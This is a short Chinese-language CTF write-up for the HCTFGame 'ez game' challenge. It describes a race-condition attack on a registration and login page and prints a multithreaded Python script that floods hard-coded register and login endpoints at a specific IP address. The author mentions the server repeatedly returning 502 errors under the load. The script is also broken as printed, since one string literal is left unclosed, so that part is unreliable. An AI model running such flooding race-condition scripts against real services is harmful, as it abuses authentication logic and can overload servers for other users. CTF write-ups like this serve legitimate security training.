HCTFGame寒假 Writeup

Week2

ez game

看到这个“苟”想起了hctf2016的香港记者那题，于是考虑从条件竞争入手。
从上次hctf官方writeup里copy代码过来，改个网址，运行。发现似乎有些问题。然后就自己写了代码。

```
# -*- coding:utf-8 -*-
import requests
import threading
import os

#f=open('ezout.txt','w')

for i in range(9999,99999):
    #if ((i+1)%1000)==0:
    #    os.system("cls");
    #    print (i+1)/1000,'% Completed'
    def register(x):
        data = {'username': 'ghjofpeakdihsduojidhoj'+str(x), 'password': '123456', 'gogogo': '苟!'}
        r = requests.post("http://115.28.78.16:13333/3a94a786f2f3af094a461b295bc4e2f6/register.php", data=data)
    def login(x):
        data = {'username': 'ghjofpeakdihsduojidhoj'+str(x), 'password': '123456', 'gogogo': '苟!'}
        r = requests.post("http://115.28.78.16:13333/3a94a786f2f3af094a461b295bc4e2f6/login.php", data=data)
        if r.content.find('Login | <) != -1:
            print '[',x,']\nNo register!'
        else:
            if r.content.find('502 Bad Gateway') != -1:
                print '[',x,']\n502 Bad Gateway'
            else:
                print '[',x,']\n',r.content
        exit()
    threading.Thread(target=register, args=(i,)).start()
    threading.Thread(target=login, args=(i,)).start()
    threading.Thread(target=login, args=(i-20,)).start()
    threading.Thread(target=login, args=(i-40,)).start()
    threading.Thread(target=login, args=(i-60,)).start()
    threading.Thread(target=login, args=(i-80,)).start()
 #防止出现登录线程比注册快，提高成功率

#f.close()
os.system("pause")
```

最后一天下午跑的时候服务器502了，以为是我家网络的问题，于是丢到了vps上又跑了一遍。
不过似乎服务器数据发送太快了，回家下载输出文件查看……全部都是……502……
晚上又试了几次拿到flag。
（不过刚刚又502了？喵喵喵？